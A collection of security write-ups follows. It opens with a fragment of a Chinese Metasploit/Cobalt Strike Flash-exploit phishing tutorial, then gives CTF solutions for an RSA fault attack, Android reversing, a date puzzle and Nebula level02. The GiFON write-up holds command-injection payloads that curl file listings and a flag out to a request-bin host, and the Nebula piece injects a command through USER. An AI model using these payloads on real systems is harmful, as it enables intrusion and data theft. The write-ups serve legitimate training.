DisablePayloadHandler => true
msf exploit(multi/browser/adobe_flash_hacking_team_uaf) > set LHOST 192.168.130.130
LHOST => 192.168.130.130
msf exploit(multi/browser/adobe_flash_hacking_team_uaf) > set LPORT 8880
LPORT => 8880
msf exploit(multi/browser/adobe_flash_hacking_team_uaf) > exploit -j
[*] Exploit running as background job 2.
[*] Using URL: http://0.0.0.0:80/X11zRtcWP
[*] Local IP: http://192.168.130.130:80/X11zRtcWP
[*] Server started.
```
>默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:
set DisablePayloadHandler true
然后再配置Cobalt Strike 生成一个Listeners 端口和msf 中LPORT的端口一样 地址就是主机地址,然后我们可以直接把msf中的连接发送给目标机了,当然你觉得一个空白页面迷惑性不是很强的话可以使用克隆功能。

然后再把生成的链接发送给目标 ,最好是自己测试一下使用克隆,不知道怎么回事不上线情况居多,不知道是目标环境配置问题还是什么,我没有深入研究,访问成功后在msf中我们可以看到下载记录和CS中成功上线

# 0x02 文末
这里克隆后 自己最好是测试下是否可以上线,作者这里老出问题。本文讲的flash版本漏洞或许过时,还可以搭配 ie的0day来利用(2小时)
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
## Broken Box (Crypto, 300p)
We are given web service signing data for us, and we are told that it is somehow "broken".
Indeed, this service looks suspicious - for example, it sometimes give different signature for the same data.
We guessed that somewhere, somehow bit is flipped, because this is common trope with RSA on CTFs (so called RSA fault attacks). So we hacked simple script, to get more data:
```python
import socket
s = socket.socket()
s.connect(('crypto.chal.csaw.io', 8002))
import time
result = open('responses_' + str(int(time.time())), 'w')
print s.recv(9999)
while True:
s.send('2')
response = s.recv(9999)
print 'response', response
result.write(response + '\n')
s.send('yes')
s.recv(9999)
s.recv(9999)
```
I promise that someday I will learn pwnlib and stop this socket madness. Nevertheless, this script gave us all the data we needed. It is attached as responses.txt file.
N is the same everywhere, so is was not very interesting. So we used this script, to extract only signatures:
```python
import argparse
parser = argparse.ArgumentParser(description='Merge signatures')
parser.add_argument('signatures', nargs='+', help='signatures')
args = parser.parse_args()
signatures = set()
for sigfile in args.signatures:
with open(sigfile, 'r') as sigdata:
sigdata = sigdata.read()
for line in sigdata.split('\n'):
if len(line) < 3:
continue
signatures.add(line.split(':')[1][:-3])
for sig in signatures:
print sig
```
So what can we do with this information?
We know that `pow(sig,e,n) == data` (where sig is correct signature). RSA signature is computed as follows:
```
pow(data, d, n) = sig
```
When we are given invalid signature, we can assume that it is computed for good data, but some bit in `d` was flipped. In other words:
* If k'th bit in d was 1 and, and turned to 0, then `d = d - 2^k`. So `pow(data, d') === pow(data, d - 2^k) === pow(data, d) / pow(data, 2^k) (mod k)`
* If k'th bit in d was 0 and, and turned to 1, then `d = d + 2^k`. So `pow(data, d') === pow(data, d + 2^k) === pow(data, d) * pow(data, 2^k) (mod k)`
And we can just check all possibilites here (because there is only 1024 possible values of k!).
If `badsig == good_signature * pow(2, pow(2, k, n), n)`, than we know that k-th bit was 0 and turned to 1. Similarly we can determine that bit was 1 and turned to 0.
So every bitflip allows us to recover one bit in private key. We scripted it as follows:
```python
import argparse
parser = argparse.ArgumentParser(description='Solve')
parser.add_argument('signatures', help='signatures')
args = parser.parse_args()
ls = open(args.signatures, 'rb').read().split('\n')
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def invmod(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
return pow(a, n-2, n)
mod = 123541066875660402939610015253549618669091153006444623444081648798612931426804474097249983622908131771026653322601466480170685973651622700515979315988600405563682920330486664845273165214922371767569956347920192959023447480720231820595590003596802409832935911909527048717061219934819426128006895966231433690709
good = 22611972523744021864587913335128267927131958989869436027132656215690137049354670157725347739806657939727131080334523442608301044203758495053729468914668456929675330095440863887793747492226635650004672037267053895026217814873840360359669071507380945368109861731705751166864109227011643600107409036145468092331
ls = filter(bool, ls)
ls = map(int, ls)
ls = list(set(ls))
bad_sigs = ls
print 'precomputing +...'
good_plus = [(good * pow(2, pow(2, bit, mod), mod)) % mod for bit in range(1024)]
print 'precomputing -...'
good_minus = [(good * invmod(pow(2, pow(2, bit, mod), mod), mod)) % mod for bit in range(1024)]
bits = {}
for bad in bad_sigs:
for bit in range(1024):
# bad == g' == g^d' == g^(d+2**k) == good * g^2**k
if bad == good_plus[bit]:
bits[bit] = 0
# bad == g' == g^d' == g^(d-2**k) == good / g^2**k
if bad == good_minus[bit]:
bits[bit] = 1
import sys
for i in range(1024):
if i in bits:
sys.stdout.write(str(bits[i]))
else:
sys.stdout.write('?')
print
```
And after few seconds, we had completed flag:
```
1010010010000001011011011001100100100110100111111010000111100101111000100111101101111111001001011001001101101010000100111010111110111100100100111110000011001010110101110001011010000010000100001000101001110101100110000101010001000110011101100001001110111001100110001000110100100100010010010001011100111010000101101100011100000111011010011010000010010011101001111110111101011001111011111111110100110001101100101001000110100111111011000010110001111111010000101111001101010001110101111010001011000010000100111010011011100101101111001000011101110111011001111111111101111101110100111010011100001111110000110110011101000000010111101110000100010000110110000000011100011110110111010110111110010010110000000010101000101011000011001101011000110001010111100101011101001100101110111010110001110000001000101100100011011011101110100010001100100001001100100111000000100000000000001010100101100011011101011010101111010100001100010011000110000001111011000000111011110111100111100110110101010011011011001110111011111100000101010010110111011101
```
And finally, the flag is ours:
```
In [192]: long_to_bytes(s)
Out[192]: 'flag{br0k3n_h4rdw4r3_l34d5_70_b17_fl1pp1n6}'
```
|
sec-knowleage
|
# GiFON
Category: Web, 200 points
## Description
> Jeff D. Spleier applied for a job in the ISA. His interview went really well and he seemed the right man for the job.
>
> Naturally, we decided not to recruit him.
>
> We suspect that he is in possession of some classified documents that must not be leaked. We worry that he might act out his revenge and publish them. We know that he maintains an online Gif Displayer. Probably irrelevant, but who knows?
## Solution:
We visit the attached link and arrive to a website called "The Gif Displayer".
It has a dropdown menu:
```html
<select class="form-control" id="pic" name="pic">
<option disabled selected value> -- select an option -- </option>
<option value="https://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif">Dogs</option>
<option value="https://media.giphy.com/media/l1KVboXQeiaX7FHgI/giphy.gif">Monkey</option>
<option value="https://media.giphy.com/media/xULW8PLGQwyZNaw68U/giphy.gif">Gremlims</option>
<option value="https://media.giphy.com/media/SwCuRzaVTkxvTpEDzO/giphy.gif">Dog 2</option>
<option value="https://media.giphy.com/media/l4FGr3nzq5u0m02vm/giphy.gif">Baby</option>
</select>
```
Once we select an image, it is displayed on the webpage together with a hash:
```html
<div class="col-lg-12 ">
<img class="col-lg-12 order-lg-2 text-white showcase-img" src='https://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif'>
<div class="col-lg-12 order-lg-2">file md5: 59ce667c5cb01232122c426168265bf2</div>
</div>
```
The displayed hash is the hash of the contents of the GIF file:
```console
root@kali:/media/sf_CTFs/shabak/GiFON# curl https://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif -s --output - | md5sum
59ce667c5cb01232122c426168265bf2 -
```
Of course, when we see a URL such as `http://gifon.shieldchallenges.com/?pic=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FSggILpMXO7Xt6%2Fgiphy.gif`, the first thing we want to do is to exploit an SSRI vulnerability by providing a path to an internal resource.
If we try to access a resource such as `http://gifon.shieldchallenges.com/?pic=file:///etc/passwd`, we get an error response that `not a valid gif or http url`. From some trial and error, we learn that in order for a `pic` to be accepted, it must start with `http` and end with `.gif`. It's easy to end URLs with `.gif`, we just need to prepend a question mark (`http://www.example.com?.gif`) to make the required suffix act as a URL parameter. Having to start with `http` though means that we can't access interesting protocols such as `file` or `php`.
When we enter a URL that doesn't exist such as `http://gifon.shieldchallenges.com/?pic=http://127.0.0.1?.gif`, we might back a hash of `d41d8cd98f00b204e9800998ecf8427e` which is the hash value of an empty string:
```console
root@kali:/media/sf_CTFs/shabak/GiFON# echo -n "" | md5sum
d41d8cd98f00b204e9800998ecf8427e -
```
In other cases, we might get back the MD5 of the error page itself, e.g. for `http://gifon.shieldchallenges.com/?pic=http://gifon.shieldchallenges.com/admin?.gif` we get a hash of `90dad6df7303a62e387f5c142a9b2cd4` which is the MD5 of a 404 page:
```console
root@kali:/media/sf_CTFs/shabak/GiFON# curl http://gifon.shieldchallenges.com/admin?.gif -s | md5sum
90dad6df7303a62e387f5c142a9b2cd4 -
```
Trying a few more things, we find out that we can access files on the internal server via `127.0.0.1:8080`. For example, `http://gifon.shieldchallenges.com/?pic=http://127.0.0.1:8080/img/testimonials-1.jpg?.gif` gives a hash of `828e0935e45611b23593d139bd1984f1`:
```
root@kali:/media/sf_CTFs/shabak/GiFON# curl http://gifon.shieldchallenges.com/img/testimonials-1.jpg --output - -s | md5sum
828e0935e45611b23593d139bd1984f1 -
```
But still, we can't find anything interesting anywhere.
Eventually, we started looking for known PHP quirks.
First, we tried turning `pic` to an array by accessing `http://gifon.shieldchallenges.com/?pic[]=https://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif`.
As a response, the website returned:
```html
<div class="col-lg-12 ">
<br />
<b>Warning</b>: strpos() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>85</b><br />
<div class="col-lg-12 order-lg-2 text-danger">not a valid gif or http url</div>
</div>
```
This is good, the server is outputting error messages which are leaking implementation details. We now know that the application calls `strpos($pic)`. However the real jackpot comes from trying to access `http://gifon.shieldchallenges.com/?pic=https://%00media.giphy.com/media/SggILpMXO7Xt6/giphy.gif`:
```html
<div class="col-lg-12 order-lg-2">file md5: <br />
<b>Warning</b>: system(): NULL byte detected. Possible attack in <b>/var/www/html/index.php</b> on line <b>92</b><br />
d41d8cd98f00b204e9800998ecf8427e
</div>
```
Instead of calculating the hash using PHP's `hash`, the application is calling `system`! This means we can try a command injection attack.
We setup a request bin and start by trying to list the files in the current directory by accessing `http://gifon.shieldchallenges.com/?pic=http;curl${IFS}https://enp465kxnap1p.x.pipedream.net/?a=$(ls${IFS}|${IFS}base64);.gif`. Note that we use `${IFS}` since we can't enter spaces. The output is:
```html
<div class="col-lg-12 ">
<img class="col-lg-12 order-lg-2 text-white showcase-img" src='http;curl${IFS}https://enp465kxnap1p.x.pipedream.net/?a=$(ls${IFS}|${IFS}base64);.gif'>
<div class="col-lg-12 order-lg-2">file md5: {"success":true}d41d8cd98f00b204e9800998ecf8427e</div>
</div>
```
`{"success":true}` looks like a good sign, and indeed - our request bin receives a hit with `Y3NzCmd1bHBmaWxlLmpzCmltZwppbmRleC5waHAKc2VjcmV0CnZlbmRvcgo=`:
```console
root@kali:/media/sf_CTFs/shabak/GiFON# echo Y3NzCmd1bHBmaWxlLmpzCmltZwppbmRleC5waHAKc2VjcmV0CnZlbmRvcgo= | base64 -d
css
gulpfile.js
img
index.php
secret
vendor
```
There's a `secret` folder there, let's try to access it:
```curl
root@kali:/media/sf_CTFs/shabak/GiFON# curl http://gifon.shieldchallenges.com/secret
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /secret
on this server.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at gifon.shieldchallenges.com Port 80</address>
</body></html>
```
We can't access this address from outside, let's try to access it from inside with `http://gifon.shieldchallenges.com/?pic=http;curl${IFS}https://enp465kxnap1p.x.pipedream.net/?a=$(ls${IFS}secret|${IFS}base64);.gif`:
```console
root@kali:/media/sf_CTFs/shabak/GiFON# echo ZmxhZwo= | base64 -d
flag
```
What's left is to read the flag via `http://gifon.shieldchallenges.com/?pic=http;curl${IFS}https://enp465kxnap1p.x.pipedream.net/?a=$(cat${IFS}secret/flag|${IFS}base64);.gif`:
```console
root@kali:/media/sf_CTFs/shabak/GiFON# echo ZmxhZ3tESVMtSVMtRkxBRy1JLVItVkVSWS1INFgwUi1VLTI/fQ== | base64 -d
flag{DIS-IS-FLAG-I-R-VERY-H4X0R-U-2?}
```
|
sec-knowleage
|
# 静态分析 java 层例子
## 2014 tinyCTF Ooooooh! What does this button do
### 确定文件类型
通过linux的file命令可以看出该文件是一个压缩包,解压打开发现它其实是一个apk文件。
### 安装apk
安装文件之后,查看一下
可以看出其就是输入一个字符串,然后应该会弹出结果。
### 查看程序
```java
class C00721 implements OnClickListener {
C00721() {
}
public void onClick(View view) {
if (((EditText) MainActivity.this.findViewById(C0073R.id.passwordField)).getText().toString().compareTo("EYG3QMCS") == 0) {
MainActivity.this.startActivity(new Intent(MainActivity.this, FlagActivity.class));
}
}
}
```
在主程序中,可以发现,如果我们输入的字符串为EYG3QMCS就会执行flagActivity.class。那么我们输入一下,可以得到如下结果
即得到flag。
## 2014 ASIS Cyber Security Contest Finals Numdroid
### 判断文件类型
首先利用file判断一下文件类型,发现是个压缩包,解压缩一下,得到对应的文件,然后继续看一下,发现该文件是apk文件。
### 安装程序
安装一下程序。简单看一下页面,可以发现程序主要是输入密码,然后登陆。如果输入错的话会爆出“Wrong Password”的信息。
### 分析程序
根据相应的字符串来定位一下源程序中的关键函数。根据strings.xml可以发现该字符串的变量名为wrong,继而我们找到了如下代码。
```java
protected void ok_clicked() {
DebugTools.log("clicked password: " + this.mScreen.getText());
boolean result = Verify.isOk(this, this.mScreen.getText().toString());
DebugTools.log("password is Ok? : " + result);
if (result) {
Intent i = new Intent(this, LipSum.class);
Bundle b = new Bundle();
b.putString("flag", this.mScreen.getText().toString().substring(0, 7));
i.putExtras(b);
startActivity(i);
return;
}
Toast.makeText(this, R.string.wrong, 1).show();
this.mScreen.setText("");
}
```
继续定位到Verify.isOk中。如下
```java
public static boolean isOk(Context c, String _password) {
String password = _password;
if (_password.length() > 7) {
password = _password.substring(0, 7);
}
String r = OneWayFunction(password);
DebugTools.log("digest: " + password + " => " + r);
if (r.equals("be790d865f2cea9645b3f79c0342df7e")) {
return true;
}
return false;
}
```
可以发现程序主要是取password的前7位进行OneWayFunction加密,然后与be790d865f2cea9645b3f79c0342df7e进行比较。如果相等就会返回true。这里我们再看一下OneWayFunction,如下
```java
private static String OneWayFunction(String password) {
List<byte[]> bytes = ArrayTools.map(ArrayTools.select(ArrayTools.map(new String[]{"MD2", "MD5", "SHA-1", "SHA-256", "SHA-384", "SHA-512"}, new AnonymousClass1(password)), new SelectAction<byte[]>() {
public boolean action(byte[] element) {
return element != null;
}
}), new MapAction<byte[], byte[]>() {
public byte[] action(byte[] element) {
int i;
byte[] b = new byte[8];
for (i = 0; i < b.length / 2; i++) {
b[i] = element[i];
}
for (i = 0; i < b.length / 2; i++) {
b[(b.length / 2) + i] = element[(element.length - i) - 2];
}
return b;
}
});
byte[] b2 = new byte[(bytes.size() * 8)];
for (int i = 0; i < b2.length; i++) {
b2[i] = ((byte[]) bytes.get(i % bytes.size()))[i / bytes.size()];
}
try {
MessageDigest digest = MessageDigest.getInstance("MD5");
digest.update(b2);
byte[] messageDigest = digest.digest();
StringBuilder hexString = new StringBuilder();
for (byte aMessageDigest : messageDigest) {
String h = Integer.toHexString(aMessageDigest & MotionEventCompat.ACTION_MASK);
while (h.length() < 2) {
h = "0" + h;
}
hexString.append(h);
}
return hexString.toString();
} catch (NoSuchAlgorithmException e) {
return "";
}
}
```
函数大概就是执行了几个hash值,但是自己去分析的话,太过于复杂,,由于本题的答案空间($10^7$)比较小,所以我们可以把verify类中的方法拿出来自己暴力跑一下。
### 构造程序
提取出java程序之后,在Verify类中添加main函数并修复部分错误,从而得到对应的答案。
这里对应的代码放在了example对应的文件夹中。
需要注意的是,这里如果对应的hash函数不存在的话,源程序会跳过对应的函数。我直接全部跑没有找到,然后去掉了一个不常见的MD2算法,从而得到了答案。这说明android应该是没有md2算法的。
输入之后得到如下
然后我们计算对应的MD值,从而获得flag为ASIS_3c56e1ed0597056fef0006c6d1c52463。
## 2014 Sharif University Quals CTF Commercial Application
### 安装程序
首先,安装程序,随便点了点按钮,在右上方点击按钮会让我们输入key
随便输入了下,发现程序直接报错,告诉我们不对,那么我们可以根据这些信息来进行定位关键代码。
### 定位关键代码
```java
public static final String NOK_LICENCE_MSG = "Your licence key is incorrect...! Please try again with another.";
public static final String OK_LICENCE_MSG = "Thank you, Your application has full licence. Enjoy it...!";
private void checkLicenceKey(final Context context) {
if (this.app.getDataHelper().getConfig().hasLicence()) {
showAlertDialog(context, OK_LICENCE_MSG);
return;
}
View inflate = LayoutInflater.from(context).inflate(C0080R.layout.propmt, null);
Builder builder = new Builder(context);
builder.setView(inflate);
final EditText editText = (EditText) inflate.findViewById(C0080R.id.editTextDialogUserInput);
builder.setCancelable(false).setPositiveButton("Continue", new OnClickListener() {
public void onClick(DialogInterface dialogInterface, int i) {
if (KeyVerifier.isValidLicenceKey(editText.getText().toString(), MainActivity.this.app.getDataHelper().getConfig().getSecurityKey(), MainActivity.this.app.getDataHelper().getConfig().getSecurityIv())) {
MainActivity.this.app.getDataHelper().updateLicence(2014);
MainActivity.isRegisterd = true;
MainActivity.this.showAlertDialog(context, MainActivity.OK_LICENCE_MSG);
return;
}
MainActivity.this.showAlertDialog(context, MainActivity.NOK_LICENCE_MSG);
}
}).setNegativeButton("Cancel", new C00855());
builder.create().show();
}
```
我们发现,其实 MainActivity.NOK_LICENCE_MSG就存储着报错的字符串信息,再继续读一下发现程序使用
```java
KeyVerifier.isValidLicenceKey(editText.getText().toString(), MainActivity.this.app.getDataHelper().getConfig().getSecurityKey(), MainActivity.this.app.getDataHelper().getConfig().getSecurityIv())
```
来进行验证,如果验证通过就会跳出成功信息。
### 详细分析
进而我们仔细分析一下这三个参数。
#### 参数1
参数1其实就是我们输入的字符串。
#### 参数2
是利用函数来获取getSecurityKey,我们简单阅读一下,可以发现程序在getConfig函数中设置了SecurityKey
```java
public AppConfig getConfig() {
boolean z = false;
AppConfig appConfig = new AppConfig();
Cursor rawQuery = this.myDataBase.rawQuery(SELECT_QUERY, null);
if (rawQuery.moveToFirst()) {
appConfig.setId(rawQuery.getInt(0));
appConfig.setName(rawQuery.getString(1));
appConfig.setInstallDate(rawQuery.getString(2));
if (rawQuery.getInt(3) > 0) {
z = true;
}
appConfig.setValidLicence(z);
appConfig.setSecurityIv(rawQuery.getString(4));
appConfig.setSecurityKey(rawQuery.getString(5));
appConfig.setDesc(rawQuery.getString(7));
}
return appConfig;
}
```
其中,函数首先进行了数据库访问,SELECT_QUERY如下
```java
private static String DB_NAME = "db.db";
private static String DB_PATH = "/data/data/edu.sharif.ctf/databases/";
public static final String SELECT_QUERY = ("SELECT * FROM " + TABLE_NAME + " WHERE a=1");
private static String TABLE_NAME = "config";
```
同时,我们可以得到该数据库的路径。
在进一步分析,我们可以发现程序在这里首先获取了表config的首行,然后将iv设置为第四列的值,key设置为第5列的值。
```java
appConfig.setSecurityIv(rawQuery.getString(4));
appConfig.setSecurityKey(rawQuery.getString(5));
```
#### 参数3
其实,参数3类似于参数2。这里就不做说明了。
### 获取数据库文件
首先,我们需要将该apk文件装到手机上,然后利用如下指令获取
```shell
adb pull /data/data/edu.sharif.ctf/databases/db.db
```
进而使用电脑上可以查看sqlite的软件查看一下,这里我使用的是<u>http://sqlitebrowser.org/</u>。如下
这里,我们可以直接得到
```text
SecurityIv=a5efdbd57b84ca36
SecurityKey=37eaae0141f1a3adf8a1dee655853714
```
### 分析加密代码
```java
public class KeyVerifier {
public static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
public static final String VALID_LICENCE = "29a002d9340fc4bd54492f327269f3e051619b889dc8da723e135ce486965d84";
public static String bytesToHexString(byte[] bArr) {
StringBuilder stringBuilder = new StringBuilder();
int length = bArr.length;
for (int i = 0; i < length; i++) {
stringBuilder.append(String.format("%02x", new Object[]{Integer.valueOf(bArr[i] & 255)}));
}
return stringBuilder.toString();
}
public static String encrypt(String str, String str2, String str3) {
String str4 = "";
try {
Key secretKeySpec = new SecretKeySpec(hexStringToBytes(str2), "AES");
Cipher instance = Cipher.getInstance(CIPHER_ALGORITHM);
instance.init(1, secretKeySpec, new IvParameterSpec(str3.getBytes()));
str4 = bytesToHexString(instance.doFinal(str.getBytes()));
} catch (Exception e) {
e.printStackTrace();
}
return str4;
}
public static byte[] hexStringToBytes(String str) {
int length = str.length();
byte[] bArr = new byte[(length / 2)];
for (int i = 0; i < length; i += 2) {
bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16));
}
return bArr;
}
public static boolean isValidLicenceKey(String str, String str2, String str3) {
return encrypt(str, str2, str3).equals(VALID_LICENCE);
}
}
```
可以看到程序首先使用了encrypt函数对三个字符串加密。其实就是利用上面所说的AES/CBC/PKCS5Padding方法加密,将str2作为key,将str3作为初始向量。那么我们可以很容易地添加解密函数如下
```java
public static String decrypt(String input, String secretKey, String iv) {
String encryptedText = "";
try {
SecretKeySpec secretKeySpec = new SecretKeySpec(hexStringToBytes(secretKey), "AES");
Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(2, secretKeySpec, new IvParameterSpec(iv.getBytes()));
encryptedText = bytesToHexString(cipher.doFinal(hexStringToBytes(userInput)));
} catch (Exception e) {
e.printStackTrace();
}
return encryptedText;
}
```
然后运行得到正常输入的product key
```text
fl-ag-IS-se-ri-al-NU-MB-ER
```
## 2015-0CTF-vezel
### 分析
首先,分析代码,如下
```
public void confirm(View v) {
if("0CTF{" + String.valueOf(this.getSig(this.getPackageName())) + this.getCrc() + "}".equals(
this.et.getText().toString())) {
Toast.makeText(((Context)this), "Yes!", 0).show();
}
else {
Toast.makeText(((Context)this), "0ops!", 0).show();
}
}
private String getCrc() {
String v1;
try {
v1 = String.valueOf(new ZipFile(this.getApplicationContext().getPackageCodePath()).getEntry(
"classes.dex").getCrc());
}
catch(Exception v0) {
v0.printStackTrace();
}
return v1;
}
private int getSig(String packageName) {
int v4;
PackageManager v2 = this.getPackageManager();
int v5 = 64;
try {
v4 = v2.getPackageInfo(packageName, v5).signatures[0].toCharsString().hashCode();
}
catch(Exception v0) {
v0.printStackTrace();
}
return v4;
}
```
可以看出我们想要的flag的分为两个部分
- String.valueOf(this.getSig(this.getPackageName()))
- this.getCrc()
其中第一部分,我们可以采用自己编写一个app来获取对应的值。第二部分我们可以直接将dex文件提取出来,利用网上的工具计算一下。
### hashcode
随便找了个(放在对应的example文件夹下)
```
package com.iromise.getsignature;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.text.TextUtils;
import android.util.Log;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
private StringBuilder builder;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
PackageManager manager = getPackageManager();
builder = new StringBuilder();
String pkgname = "com.ctf.vezel";
boolean isEmpty = TextUtils.isEmpty(pkgname);
if (isEmpty) {
Toast.makeText(this, "应用程序的包名不能为空!", Toast.LENGTH_SHORT);
} else {
try {
PackageInfo packageInfo = manager.getPackageInfo(pkgname, PackageManager.GET_SIGNATURES);
Signature[] signatures = packageInfo.signatures;
Log.i("hashcode", String.valueOf(signatures[0].toCharsString().hashCode()));
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
}
}
}
```
然后再ddms中过滤出hashcode
```
07-18 11:05:11.895 16124-16124/? I/hashcode: -183971537
```
**注:其实这个程序可以写成一个小的app,很多程序都会计算签名。**
### classes.dex crc32
随便找个在线网站获取一下`classes.dex`的CRC32值。
```text
CRC-32 46e26557
MD5 Hash 3217b0ad6c769233ea2a49d17885b5ba
SHA1 Hash ec3b4730654248a02b016d00c9ae2425379bf78f
SHA256 Hash 6fb1df4dacc95312ec72d8b79d22529e1720a573971f866bbf8963b01499ecf8
```
需要注意的是,这里需要转成十进制
```
>>> print int("46E26557", 16)
1189242199
```
### flag
两部分算完合起来就是Flag
Flag:0ctf{-1839715371189242199}
## 2017 XMAN HelloSmali2
给的是一个 smali 文件,我们可以按照如下思路来做
利用 smali.jar 将 smali 汇编为 dex 文件。
```shell
java -jar smali.jar assemble src.smali -o src.dex
```
使用 jadx 反编译 dex,如下
```java
package com.example.hellosmali.hellosmali;
public class Digest {
public static boolean check(String input) {
String str = "+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
if (input == null || input.length() == 0) {
return false;
}
int i;
char[] charinput = input.toCharArray();
StringBuilder v2 = new StringBuilder();
for (char toBinaryString : charinput) {
String intinput = Integer.toBinaryString(toBinaryString);
while (intinput.length() < 8) {
intinput = "0" + intinput;
}
v2.append(intinput);
}
while (v2.length() % 6 != 0) {
v2.append("0");
}
String v1 = String.valueOf(v2);
char[] v4 = new char[(v1.length() / 6)];
for (i = 0; i < v4.length; i++) {
int v6 = Integer.parseInt(v1.substring(0, 6), 2);
v1 = v1.substring(6);
v4[i] = str.charAt(v6);
}
StringBuilder v3 = new StringBuilder(String.valueOf(v4));
if (input.length() % 3 == 1) {
v3.append("!?");
} else if (input.length() % 3 == 2) {
v3.append("!");
}
if (String.valueOf(v3).equals("xsZDluYYreJDyrpDpucZCo!?")) {
return true;
}
return false;
}
}
```
简单看一下,其实是一个变种的 base64 加密,我们可以在网上找一个 base64 编码,然后设置一下就好了,这里使用的脚本来自于 http://www.cnblogs.com/crazyrunning/p/7382693.html。
```python
#coding=utf8
import string
base64_charset = '+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def decode(base64_str):
"""
解码base64字符串
:param base64_str:base64字符串
:return:解码后的bytearray;若入参不是合法base64字符串,返回空bytearray
"""
# 对每一个base64字符取下标索引,并转换为6为二进制字符串
base64_bytes = ['{:0>6}'.format(str(bin(base64_charset.index(s))).replace('0b', '')) for s in base64_str if
s != '=']
resp = bytearray()
nums = len(base64_bytes) // 4
remain = len(base64_bytes) % 4
integral_part = base64_bytes[0:4 * nums]
while integral_part:
# 取4个6位base64字符,作为3个字节
tmp_unit = ''.join(integral_part[0:4])
tmp_unit = [int(tmp_unit[x: x + 8], 2) for x in [0, 8, 16]]
for i in tmp_unit:
resp.append(i)
integral_part = integral_part[4:]
if remain:
remain_part = ''.join(base64_bytes[nums * 4:])
tmp_unit = [int(remain_part[i * 8:(i + 1) * 8], 2) for i in range(remain - 1)]
for i in tmp_unit:
resp.append(i)
return resp
if __name__=="__main__":
print decode('A0NDlKJLv0hTA1lDAuZRgo==')
```
结果如下
```shell
➜ tmp python test.py
eM_5m4Li_i4_Ea5y
```
## 题目
- GCTF 2017 Android1
- GCTF 2017 Android2
- ISG 2017 Crackme
- XMAN 2017 mobile3 rev1
|
sec-knowleage
|
# Datetime (ppc 100)
###ENG
[PL](#pl-version)
In the task we a lot of [messages](messages.zip).
Each message has a timestamp in the format `Friday_1_April_2015` and contains some random hash value.
The flag is one of those hashes and we have to find the right one.
The point is to find the message with correct timestamp - where day of the week matches the designated date.
We do this with a simple python script and datetime library:
```python
import codecs
import os
import datetime
def main():
basedir = "/tmp/messages"
days = ["monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday"]
months = ["", "january", "february", "march", "april", "may", "june", "july", "august", "september", "october",
"november", "december"]
for filename in os.listdir(basedir):
x = filename.split("_")
dayname = x[0]
dayno = x[1]
month = months.index(x[2].lower())
year = x[3][:-4]
date = datetime.datetime(int(year), int(month), int(dayno))
if date.weekday() == days.index(dayname.lower()):
print(filename)
with codecs.open(basedir + "/" + filename, "r") as input_file:
data = input_file.read()
print(data)
main()
```
Which gives us:
```
Tuesday_15_June_1982.txt
4eec2cd9e4bb0062d0e41c8af1bd8a0f
```
###PL version
W zadaniu dostajemy dużo [wiadomości](messages.zip).
Każda wiadomość ma znacznik czasu w postaci `Friday_1_April_2015` i zawiera losowy hashcode.
Flaga jest jednym z tych hashy i musimy znaleźć odpowiedni.
Idea zadania jest dość prosta - tylko jeden znacznik czasowy jest poprawny, tzn dzień tygodnia zgadza się z datą.
Poprawny plik odnajdujemy za pomocą skryptu i biblioteki datetime:
```python
import codecs
import os
import datetime
def main():
basedir = "/tmp/messages"
days = ["monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday"]
months = ["", "january", "february", "march", "april", "may", "june", "july", "august", "september", "october",
"november", "december"]
for filename in os.listdir(basedir):
x = filename.split("_")
dayname = x[0]
dayno = x[1]
month = months.index(x[2].lower())
year = x[3][:-4]
date = datetime.datetime(int(year), int(month), int(dayno))
if date.weekday() == days.index(dayname.lower()):
print(filename)
with codecs.open(basedir + "/" + filename, "r") as input_file:
data = input_file.read()
print(data)
main()
```
Co daje nam:
```
Tuesday_15_June_1982.txt
4eec2cd9e4bb0062d0e41c8af1bd8a0f
```
|
sec-knowleage
|
# Level02
#### About
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.
#### Sources
```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
```
#### Solutions
```
export USER="level02|/bin/getflag"
/home/flag02/flag02
about to call system("/bin/echo level02|/bin/getflag is cool")
You have successfully executed getflag on a target account
```
#### Remommend
Python execute os command
```
os.system(cmd)
subprocess.call(cmd, shell=True)
subprocess.Popen(cmd, shell=True)
subprocess.communicate()
```
|
sec-knowleage
|
